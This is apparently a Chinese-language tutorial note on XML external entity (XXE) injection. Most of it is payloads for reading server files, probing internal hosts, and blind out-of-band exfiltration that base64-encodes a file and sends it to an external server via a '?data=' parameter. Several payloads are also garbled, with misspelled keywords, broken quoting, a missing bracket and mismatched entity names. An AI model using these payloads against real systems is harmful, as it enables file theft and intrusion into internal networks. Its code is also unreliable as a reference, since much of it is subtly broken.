XXE注入漏洞
简介
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD有内部声明DTD,引用外部DTD,内外部DTD文档结合
成因
XXE漏洞就是XML实体注入漏洞,攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题",也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入
常见操作:
读文件
<?xml versin = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
内网探针或攻击内网应用
<?xml version="1.0" encoding=“UTF-8?”>
<!DOCTYPR foo [
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://192.168.0.100/index.txt">
]>
<x>&xxe</x>
引入外都实体dtd
<?xml version="1.0 " ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http//127.0.0.1:8080/1.dtd">
%file;
]>
<x>&send;</x>
1.dtd:(相当于xml格式文件,当作xml代码去执行)
<!ENTITY send SYSTEM "file:///d:1.txt">
无回显读取文件(可不止目录结构,再当前目录下寻找脚本)
<?xml version=''1.0''?>
<!DOCTYPE % file SYSTEM "php://filter/read=convert.base64-encode/resoure=d:/1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.100:8080/1.txt">
%dtd %send;
]>
1.dtd:
<!ENTITY % payloay
”<!ENTITY % send SYSTEM 'http://192.168.0.100:8080/?data=%file;'>"
>
%payload;
协议读文件
<?xml version=''1.0''?>
<!DOCTYPE ANY [ <ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resoure=1.php"
>]
<x>&f</x>
content -type的类型如有xml的字样,说明支持实体类型,还可尝试将content_type类型改为application/xml